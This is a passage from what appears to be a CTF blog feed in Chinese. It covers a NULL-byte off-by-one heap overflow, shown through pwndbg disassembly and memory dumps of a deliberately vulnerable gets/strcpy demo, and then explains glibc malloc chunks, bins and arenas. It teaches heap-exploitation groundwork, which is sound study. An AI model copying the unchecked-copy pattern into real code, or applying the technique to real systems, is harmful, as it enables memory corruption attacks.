class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> disassemble main<br>Dump of assembler code <span class="hljs-keyword">for</span> <span class="hljs-keyword">function</span> main:<br> 0x00000000004011b6 <+0>: endbr64 <br> 0x00000000004011ba <+4>: push rbp<br> 0x00000000004011bb <+5>: mov rbp,rsp<br> 0x00000000004011be <+8>: sub rsp,0x30<br> 0x00000000004011c2 <+12>: mov QWORD PTR [rbp-0x30],0x0<br> 0x00000000004011ca <+20>: mov QWORD PTR [rbp-0x28],0x0<br> 0x00000000004011d2 <+28>: mov QWORD PTR [rbp-0x20],0x0<br> 0x00000000004011da <+36>: mov QWORD PTR [rbp-0x18],0x0<br> 0x00000000004011e2 <+44>: mov QWORD PTR [rbp-0x10],0x0<br> 0x00000000004011ea <+52>: mov edi,0x18<br> 0x00000000004011ef <+57>: call 0x4010c0 <malloc@plt><br> 0x00000000004011f4 <+62>: mov QWORD PTR [rbp-0x8],rax<br> 0x00000000004011f8 <+66>: lea rax,[rip+0xe05] <span class="hljs-comment"># 0x402004</span><br> 0x00000000004011ff <+73>: mov rdi,rax<br> 0x0000000000401202 <+76>: call 0x401090 <puts@plt><br> 0x0000000000401207 <+81>: lea rax,[rbp-0x30]<br> 0x000000000040120b <+85>: mov rdi,rax<br> 0x000000000040120e <+88>: mov eax,0x0<br> 0x0000000000401213 <+93>: call 0x4010b0 <gets@plt><br> 0x0000000000401218 <+98>: lea rax,[rbp-0x30]<br> 0x000000000040121c <+102>: mov rdi,rax<br> 0x000000000040121f <+105>: call 0x4010a0 <strlen@plt><br> 0x0000000000401224 <+110>: cmp rax,0x18<br> 0x0000000000401228 <+114>: jne 0x40123d <main+135><br> 0x000000000040122a <+116>: lea rdx,[rbp-0x30]<br> 0x000000000040122e <+120>: mov rax,QWORD PTR [rbp-0x8]<br> 0x0000000000401232 <+124>: mov rsi,rdx<br> 0x0000000000401235 <+127>: mov rdi,rax<br> 0x0000000000401238 <+130>: call 0x401080 <strcpy@plt><br> 0x000000000040123d <+135>: mov eax,0x0<br> 0x0000000000401242 <+140>: leave <br> 0x0000000000401243 <+141>: ret <br>End of assembler dump.<br>pwndbg> b *main+62<br>Breakpoint 2 at 0x4011f4: file offbyone_2.c, line 9.<br>pwndbg> b strcpy<br>Breakpoint 3 at 0x401243: file offbyone_2.c, line 14.<br>pwndbg> <br></code></pre></td></tr></table></figure><p>malloc调用后chunk1如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> x/10gx 0x4052a0<br>0x4052a0: 0x0000000000000000 0x0000000000000000<br>0x4052b0: 0x0000000000000000 0x0000000000020d51<br>0x4052c0: 0x0000000000000000 0x0000000000000000<br>0x4052d0: 0x0000000000000000 0x0000000000000000<br>0x4052e0: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>然后c输入b’a’ * 24后观察:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> x/10gx 0x4052a0<br>0x4052a0: 0x6161616161616161 0x6161616161616161<br>0x4052b0: 0x6161616161616161 0x0000000000000400<br>0x4052c0: 0x75706e4920746547 0x0000000000000a74<br>0x4052d0: 0x0000000000000000 0x0000000000000000<br>0x4052e0: 0x0000000000000000 0x0000000000000000<br>pwndbg> <br></code></pre></td></tr></table></figure><p>可以看到 next chunk 的 size 域低字节被结束符 <code>'\x00'</code> 覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one,我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">DWORD 0x41424344<br>内存 0x44,0x43,0x42,0x41<br></code></pre></td></tr></table></figure><h3 id="References"><a href="#References" class="headerlink" title="References"></a>References</h3><ul><li>CTF-Wiki<ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#off-by-one_1">堆中的 Off-By-One</a></li></ul><p> </p></li><li>先知<ul><li><a href="https://xz.aliyun.com/news/12307">堆溢出 off by one & off by null</a></li><li><a href="https://xz.aliyun.com/news/16330">pwn的堆中如何使用off by one 和off by null的详细解析以及每一步的调试过程</a></li></ul></li><li>知乎<ul><li><a href="https://zhuanlan.zhihu.com/p/682436917">CTFer成长日记17:千里之堤,溃于蚁穴——off-by-one漏洞原理与利用1</a></li><li><a href="https://zhuanlan.zhihu.com/p/112364953">二进制安全之堆溢出(系列)—— off by one</a></li></ul></li><li>CSDN<ul><li><a href="https://blog.csdn.net/m0_57836225/article/details/143894507">PWN-Offbyone 漏洞解析</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>堆</tag>
</tags>
</entry>
<entry>
<title>花与堆之堆基础-glibc_malloc_chunk,bin,threading,arena,system_call</title>
<link href="/2026/02/06/heap_glibc_malloc_chunk/"/>
<url>/2026/02/06/heap_glibc_malloc_chunk/</url>
<content type="html"><![CDATA[<h1 id="glibc-malloc-chunk"><a href="#glibc-malloc-chunk" class="headerlink" title="glibc_malloc_chunk"></a>glibc_malloc_chunk</h1><h3 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h3><p>在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。无论chunk的大小、状态如何,他们都是使用同一数据结构——malloc_chunk,只不过是表现形式有所不同。 </p><p>malloc_chunk结构如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/*</span><br><span class="hljs-comment"> This struct declaration is misleading (but accurate and necessary).</span><br><span class="hljs-comment"> It declares a "view" into memory allowing access to necessary</span><br><span class="hljs-comment"> fields at known offsets from a given base. See explanation below.</span><br><span class="hljs-comment">*/</span><br><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span> {</span><br><br> INTERNAL_SIZE_T prev_size; <span class="hljs-comment">/* Size of previous chunk (if free). */</span><br> INTERNAL_SIZE_T size; <span class="hljs-comment">/* Size in bytes, including overhead. */</span><br><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">fd</span>;</span> <span class="hljs-comment">/* double links -- used only if free. */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">bk</span>;</span><br><br> <span class="hljs-comment">/* Only used for large blocks: pointer to next larger size. */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">fd_nextsize</span>;</span> <span class="hljs-comment">/* double links -- used only if free. */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">bk_nextsize</span>;</span><br>};<br></code></pre></td></tr></table></figure><p>根据不同的chunk类型,malloc_chunk会有部分内容选择性“表示”。</p><p>堆段中存在的 chunk 类型如下:</p><ul><li>Allocated chunk;</li><li>Free chunk;</li><li>Top chunk;</li><li>Last Remainder chunk.</li></ul><h3 id="allocated-chunk"><a href="#allocated-chunk" class="headerlink" title="allocated chunk"></a>allocated chunk</h3><p>allocated chunk,也就是分配给用户的 chunk,其图示如下:</p><p><img src="/images/heap_glibc_malloc_chunk/allocated_chunk.png" alt="images"></p><p>图中左方三个箭头依次表示:</p><ul><li>chunk:该Allocated chunk的起始地址;</li><li>mem:该Allocated chunk中用户可用区域的起始地址</li><li>next_chunk:下一个 chunck(无论类型)的起始地址。</li></ul><p>图中结构体内部各字段的含义依次为:</p><blockquote><ul><li>prev_size:若上一个 chunk 可用,则此字段赋值为上一个 chunk 的大小;否则,此字段被用来存储上一个 chunk 的用户数据;</li><li>size:此字段赋值本 chunk 的大小,其最后三位包含标志信息:<ul><li>PREV_INUSE § – 置「1」表示上个 chunk 被分配;</li><li>IS_MMAPPED (M) – 置「1」表示这个 chunk 是通过 mmap 申请的(较大的内存);</li><li>NON_MAIN_ARENA (N) – 置「1」表示这个 chunk 属于一个 thread arena。</li></ul></li></ul><p>malloc_chunk 中的其余结构成员,如 fd、 bk,没有使用的必要而拿来存储用户数据;<br>用户请求的大小被转换为内部实际大小,因为需要额外空间存储 malloc_chunk,此外还需要考虑对齐。</p></blockquote><h3 id="free-chunk"><a href="#free-chunk" class="headerlink" title="free chunk"></a>free chunk</h3><p>free chunk就是用户free后释放的chunk。<br><img src="/images/heap_glibc_malloc_chunk/free_chunk.png" alt="free_chunk.png"></p><p>图中结构体内部各字段的含义依次为:</p><ul><li>prev_size: 两个相邻 free chunk 会被合并成一个,因此该字段总是保存前一个 allocated chunk 的用户数据;</li><li>size: 该字段保存本 free chunk 的大小;</li><li>fd: Forward pointer —— 本字段指向同一 bin 中的下个 free chunk(free chunk 链表的前驱指针);</li><li>bk: Backward pointer —— 本字段指向同一 bin 中的上个 free chunk(free chunk 链表的后继指针)。</li></ul><h1 id="glibc-malloc-bin"><a href="#glibc-malloc-bin" class="headerlink" title="glibc_malloc_bin"></a>glibc_malloc_bin</h1><h2 id="Bins"><a href="#Bins" class="headerlink" title="Bins"></a>Bins</h2><h3 id="Overview-1"><a href="#Overview-1" class="headerlink" title="Overview"></a>Overview</h3><p>用户释放掉的chunk不会立即归还系统,ptmalloc会同一管理heap和mmap映射区域中的chunk。当用户再一次请求分配内存的时候,ptmalloc分配器会试图在空闲的chunk中按照规则匹配一块内存给用户,从而避免频繁系统调用,降低内存分配的开销。<br>具体实现中,ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先,它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为 4 类:<code>fast bins</code>,<code>small bins</code>,<code>large bins</code>,<code>unsorted bin</code>。每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。</p><p>对于 small bins,large bins,unsorted bin 来说,ptmalloc 将它们维护在同一个数组中。这些 bin 对应的数据结构在 malloc_state 中,如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> NBINS 128</span><br><span class="hljs-comment">/* Normal bins packed as described above */</span><br>mchunkptr bins[ NBINS * <span class="hljs-number">2</span> - <span class="hljs-number">2</span> ];<br></code></pre></td></tr></table></figure><blockquote><p>bins 主要用于索引不同 bin 的 fd 和 bk。</p></blockquote><p>为了简化在双链接列表中的使用,每个 bin 的 header 都设置为 malloc_chunk 类型。这样可以避免 header 类型及其特殊处理。但是,为了节省空间和提高局部性,只分配 bin 的 fd/bk 指针,然后使用 repositioning tricks 将这些指针视为一个malloc_chunk*的字段。<br>以 32 位系统为例,bins 前 4 项的含义如下:</p><table><thead><tr><th align="left">bin 下标</th><th align="left">含义</th></tr></thead><tbody><tr><td align="left">0</td><td align="left">bin1 的 fd / bin2 的 prev_size</td></tr><tr><td align="left">1</td><td align="left">bin1 的 bk / bin2 的 size</td></tr><tr><td align="left">2</td><td align="left">bin2 的 fd / bin3 的 prev_size</td></tr><tr><td align="left">3</td><td align="left">bin2 的 bk / bin3 的 size</td></tr></tbody></table><p>bin2 的 prev_size、size 和 bin1 的 fd、bk 是重合的。由于我们只会使用 fd 和 bk 来索引链表,所以该重合部分的数据其实记录的是 bin1 的 fd、bk。 也就是说,虽然后一个 bin 和前一个 bin 共用部分数据,但是其实记录的仍然是前一个 bin 的链表数据。通过这样的复用,可以节省空间。</p><p>数组中的 bin 依次如下</p><ol><li>第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。</li><li>索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为 2 个机器字长,即 32 位相差 8 字节,64 位相差 16 字节。</li><li>small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。</li></ol><blockquote><p>fastbin的使用标记总是被置1的,所以不会被处理。</p></blockquote><h3 id="Fast-Bin"><a href="#Fast-Bin" class="headerlink" title="Fast Bin"></a>Fast Bin</h3><p>大小为 16 ~ 80字节的chunk被称为fast chunk。在所有的bins中,fast bins路径享有最快的内存分配及释放速度。</p><ul><li><strong>数量</strong>:10</li><li>每个 fast bin 都维护着一条 free chunk 的单链表,采用单链表是因为链表中所有 chunk 的大小相等,增删 chunk 发生在链表顶端即可;—— LIFO(Last in first out)</li><li>chunk 大小:8 字节递增</li><li>fast bins 由一系列所维护 chunk 大小以 8 字节递增的 bins 组成。也即,<code>fast bin[0]</code> 维护大小为 16 字节的 chunk、<code>fast bin[1]</code> 维护大小为 24 字节的 chunk。依此类推……</li><li>指定 fast bin 中所有 chunk 大小相同;</li><li>在 malloc 初始化过程中,最大的 fast bin 的大小被设置为 64 而非 80 字节。因为默认情况下只有大小 16 ~ 64 的 chunk 被归为 fast chunk 。</li><li>无需合并 —— 两个相邻 chunk 不会被合并。虽然这可能会加剧内存碎片化,但也大大加速了内存释放的速度!</li><li><code>malloc(fast chunk)</code></li><li>初始情况下 fast chunck 最大尺寸以及 fast bin 相应数据结构均未初始化,因此即使用户请求内存大小落在 fast chunk 相应区间,服务用户请求的也将是 small bin 路径而非 fast bin 路径;</li><li>初始化后,将在计算 fast bin 索引后检索相应 bin;</li><li>相应 bin 中被检索的第一个 chunk 将被摘除并返回给用户。</li><li><code>free(fast chunk)</code><ul><li>计算 fast bin 索引以索引相应 bin;</li><li><code>free</code> 掉的 chunk 将被添加到上述 bin 的顶端。<br><img src="/images/heap_glibc_malloc_bin/fast_chunk.png" alt="fast_chunk.png"></li></ul></li></ul><h3 id="Unsorted-Bin"><a href="#Unsorted-Bin" class="headerlink" title="Unsorted Bin"></a>Unsorted Bin</h3><p>当small chunk和large chunk被free掉的时候,它们并不是被添加到各自的bin中,而是被添加在unsorted bin中,这使得分配器可以重新使用最近被free掉的chunk,从而消除寻找合适的bin的时间开销,提升内存分配和释放的效率。</p><blockquote><p>何时,unsorted bin的chunks会移动到small/large chunk中? —> 在内存分配的时候,在前后检索fast/small bins未果之后,在特定条件下,会将unsorted bin中的 chunks转移到合适的bin中去(small/large)。</p></blockquote><h4 id="数量-大小"><a href="#数量-大小" class="headerlink" title="数量-大小"></a>数量-大小</h4><ul><li>unsorted bin包括一个用于保存free chunk的双向链表。</li><li>chunk的大小无限制,任何大小的chunk均可以添加到这里。<br><img src="/images/heap_glibc_malloc_bin/unsorted_bin.png"></li></ul><h3 id="Small-Bin"><a href="#Small-Bin" class="headerlink" title="Small Bin"></a>Small Bin</h3><p>大小小于512字节的chunk被成为small chunk,保存small chunks的bin被称为small bin.</p><h4 id="数量-大小-1"><a href="#数量-大小-1" class="headerlink" title="数量-大小"></a>数量-大小</h4><ul><li>数量:62<ul><li>每个small bin都维护着一条free chunk的双向循环链表。采用双向链表的原因是,small bins中的chunk可能会从链表中部摘除。这里新增项放在链表的头部位置,而从链表的尾部位置移除项。</li></ul></li><li>chunk大小:8字节递增。<ul><li>Small bins 由一系列所维护 chunk 大小以 8 字节递增的 bins 组成。举例而言,small bin[0] (Bin 2)维护着大小为 16 字节的 chunks、small bin[1](Bin 3)维护着大小为 24 字节的 chunks ,依此类推……指定 small bin 中所有 chunk 大小均相同,因此无需排序。</li></ul></li></ul><h4 id="合并"><a href="#合并" class="headerlink" title="合并"></a>合并</h4><p>相邻的free chunk将被合并,这减缓了内存碎片化,但是减慢了 <code>free</code> 的速度</p><h4 id="malloc-small-chunk"><a href="#malloc-small-chunk" class="headerlink" title="malloc(small chunk)"></a>malloc(small chunk)</h4><ul><li>初始情况下,small bins都是NULL,因此尽管用户请求small chunk,提供服务的将是unsorted bin 路径而不是small bin路径;</li><li>第一次调用malloc时,维护在 malloc_state中的small bins和large bins将被初始化,它们都会指向自身以表示其为空;</li><li>此后当small bin非空,相应的bin会摘除其中最后一个chunk并返回给用户;</li></ul><h4 id="free-small-chunk"><a href="#free-small-chunk" class="headerlink" title="free(small chunk)"></a>free(small chunk)</h4><p><code>free</code> chunk 的时候,检查其前后的chunk是否空闲,若是则合并,也即把它们从所属的链表中摘除并合并成一个新的chunk,新chunk会添加在unsorted bin的前端。</p><h3 id="Large-Bin"><a href="#Large-Bin" class="headerlink" title="Large Bin"></a>Large Bin</h3><h4 id="大小-数量"><a href="#大小-数量" class="headerlink" title="大小-数量"></a>大小-数量</h4><ul><li>数量:62<ul><li>每个large bin都维护着一条free chunk的双向循环链表。采用双向链表的原因是,large bins中的chunk可能会从链表中的任意位置插入及删除。</li></ul></li><li>大小:large bin中所有chunk大小不一定相同,各chunk大小递减保存。最大的chunk保存顶端,而最小的chunk保存在尾端;<ul><li>这 63 个 bins<ul><li>32 个 bins 所维护的 chunk 大小以 64B 递增,也即 large chunk[0](Bin 65) 维护着大小为 512B ~ 568B 的 chunk 、large chunk[1](Bin 66) 维护着大小为 576B ~ 632B 的 chunk,依此类推……</li><li>16 个 bins 所维护的 chunk 大小以 512 字节递增;</li><li>8 个 bins 所维护的 chunk 大小以 4096 字节递增;</li><li>4 个 bins 所维护的 chunk 大小以 32768 字节递增;</li><li>2 个 bins 所维护的 chunk 大小以 262144 字节递增;</li><li>1 个 bin 维护所有剩余 chunk 大小;</li></ul></li></ul></li></ul><h4 id="合并-1"><a href="#合并-1" class="headerlink" title="合并"></a>合并</h4><p>两个相邻的空闲 chunk 会被合并</p><h4 id="malloc-large-chunk"><a href="#malloc-large-chunk" class="headerlink" title="malloc(large chunk)"></a>malloc(large chunk)</h4><ul><li>初始情况下,large bin都会是NULL,因此尽管用户请求large chunk,提供服务的将是next largetst bin路径而不是large bin路径。</li><li>第一次调用malloc时,维护在malloc_state中的small bin和large bin将被初始化,它们都会指向自身以表示其为空;</li><li>此后当large bin非空,如果相应bin中的最大chunk大小大于用户请求大小,分配器就从该bin顶端遍历到尾端,以找到一个大小最接近用户请求的chunk。一旦找到,相应chunk就会被切分成两块:<ul><li>User chunk(用户请求大小)—— 返回给用户;</li><li>Remainder chunk (剩余大小)—— 添加到unsorted bin。</li></ul></li><li>如果相应bin中的最大 chunk 大小小于用户请求大小,分配器就会扫描binmaps,从而查找最小非空 bin。如果找到了这样的bin,就从中选择合适的chunk并切割给用户;反之就使用top chunk响应用户请求。</li></ul><h4 id="free-large-chunk"><a href="#free-large-chunk" class="headerlink" title="free(large chunk)"></a>free(large chunk)</h4><p>类似于 small chunk。</p><h3 id="Top-Chunk"><a href="#Top-Chunk" class="headerlink" title="Top Chunk"></a>Top Chunk</h3><p>一个arena中最顶部的chunk被称为top chunk。它不属于任何bin。当所有bin中都没有合适空闲内存时,就会使用top chunk来响应用户请求。</p><p>当top chunk的大小比用户请求的大小大的时候,top chunk会分割为两个部分:</p><ul><li>User chunk,返回给用户;<ul><li>Remainder chunk,剩余部分,将成为新的top chunk。</li></ul></li></ul><p>当top chunk的大小比用户请求的大小小的时候,top chunk就通过 <code>sbrk</code>(main arena)或 <code>mmap</code>( thread arena)系统调用扩容</p><p>top chunk的prev_inuse比特位始终为1,否则其前面的chunk就会被合并到top chunk中。<strong>初始情况下,我们可以将 unsorted chunk 作为 top chunk</strong>。</p><h4 id="Last-Remainder-Chunk"><a href="#Last-Remainder-Chunk" class="headerlink" title="Last Remainder Chunk"></a>Last Remainder Chunk</h4><p>「last remainder chunk」即最后一次 small request 中因分割而得到的剩余部分,它有利于改进引用局部性,也即后续对 small chunk 的 malloc 请求可能最终被分配得彼此靠近。</p><p>arena 中的若干 chunks,哪个有资格成为 last remainder chunk ?<br>当用户请求 small chunk 而无法从 small bin 和 unsorted bin 得到服务时,分配器就会通过扫描 binmaps 找到最小非空 bin。正如前文所提及的,如果这样的 bin 找到了,其中最合适的 chunk 就会分割为两部分:</p><ul><li>返回给用户的 User chunk </li><li>添加到 unsorted bin 中的 Remainder chunk<br><strong>这一 Remainder chunk 就将成为 last remainder chunk。</strong></li></ul><h1 id="glibc-malloc-threading"><a href="#glibc-malloc-threading" class="headerlink" title="glibc_malloc_threading"></a>glibc_malloc_threading</h1><h2 id="多线程支持"><a href="#多线程支持" class="headerlink" title="多线程支持"></a>多线程支持</h2><p>linux早期使用dlmalloc作为默认分配器,在dlmalloc中只有一个线程能访问临界区(critical section),因为所有线程共享freelist的数据结构。在ptmalloc2中当两个线程同时调用malloc的时候,内存均会得以分配,因为每个线程都维护着单独的堆段,因此维护这些堆的freelist数据结构也是分开的。这种为每个线程维护单独的堆和空闲列表数据结构的行为称为每个线程领域(per thread arena)。</p><h2 id="分析案例"><a href="#分析案例" class="headerlink" title="分析案例"></a>分析案例</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* Per thread arena example. */</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><pthread.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><unistd.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><sys/types.h></span></span><br><br><span class="hljs-type">void</span>* <span class="hljs-title function_">threadFunc</span><span class="hljs-params">(<span class="hljs-type">void</span>* arg)</span> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Before malloc in thread 1\n"</span>);<br> getchar();<br> <span class="hljs-type">char</span>* addr = (<span class="hljs-type">char</span>*) <span class="hljs-built_in">malloc</span>(<span class="hljs-number">1000</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After malloc and before free in thread 1\n"</span>);<br> getchar();<br> <span class="hljs-built_in">free</span>(addr);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After free in thread 1\n"</span>);<br> getchar();<br>}<br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {<br> <span class="hljs-type">pthread_t</span> t1;<br> <span class="hljs-type">void</span>* s;<br> <span class="hljs-type">int</span> ret;<br> <span class="hljs-type">char</span>* addr;<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Welcome to per thread arena example::%d\n"</span>,getpid());<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Before malloc in main thread\n"</span>);<br> getchar();<br> addr = (<span class="hljs-type">char</span>*) <span class="hljs-built_in">malloc</span>(<span class="hljs-number">1000</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After malloc and before free in main thread\n"</span>);<br> getchar();<br> <span class="hljs-built_in">free</span>(addr);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After free in main thread\n"</span>);<br> getchar();<br> ret = pthread_create(&t1, <span class="hljs-literal">NULL</span>, threadFunc, <span class="hljs-literal">NULL</span>);<br> <span class="hljs-keyword">if</span>(ret)<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Thread creation error\n"</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;<br> }<br> ret = pthread_join(t1, &s);<br> <span class="hljs-keyword">if</span>(ret)<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Thread join error\n"</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>没有产生预期效果(疑似因内核版本不同)</p><h4 id="主线程malloc前"><a href="#主线程malloc前" class="headerlink" title="主线程malloc前"></a>主线程malloc前</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash">Welcome to per thread arena example::10710<br>Before malloc <span class="hljs-keyword">in</span> main thread<br><br><span class="hljs-built_in">cat</span> /proc/10710/maps<br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h4 id="主线程malloc之后"><a href="#主线程malloc之后" class="headerlink" title="主线程malloc之后"></a>主线程malloc之后</h4><p>主线程的堆是堆内存移动program break产生的(移动brk),即使只申请了1000字节的大小但是实际产生了132kb的堆。这块连续的堆区域被称为arena。因为这个arena是主线程建立的,所以称为main arena。接下来的申请会在arena中的剩余部分进行申请。分配完成或者不够的时候,会继续通过移动brk位置扩容,扩容后top chunk的大小也会随之调整,以将新增加的区域加进去。同时,arena也可以在top chunk过大时缩小。</p><blockquote><p>top chunk 是一个 arena 位于最顶层的 chunk。</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">After malloc and before free <span class="hljs-keyword">in</span> main thread<br><br><span class="hljs-built_in">cat</span> /proc/10710/maps<br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h4 id="主线程free之后"><a href="#主线程free之后" class="headerlink" title="主线程free之后"></a>主线程free之后</h4><p>当分配的内存区域 free 掉时,其并不会立即归还给操作系统,而仅仅是移交给了作为库函数的分配器。这块 free掉的内存添加在了main arenas bin中(在 glibc malloc 中,空闲列表数据结构被称为bin)。随后当用户请求内存时,分配器就不再向内核申请新堆了,而是先试着各个「bin」中查找空闲内存。只有当 bin 中不存在空闲内存时,分配器才会继续向内核申请内存。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">After free <span class="hljs-keyword">in</span> main thread<br><br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h4 id="在thread1-malloc前"><a href="#在thread1-malloc前" class="headerlink" title="在thread1 malloc前"></a>在thread1 malloc前</h4><blockquote><p>thread1 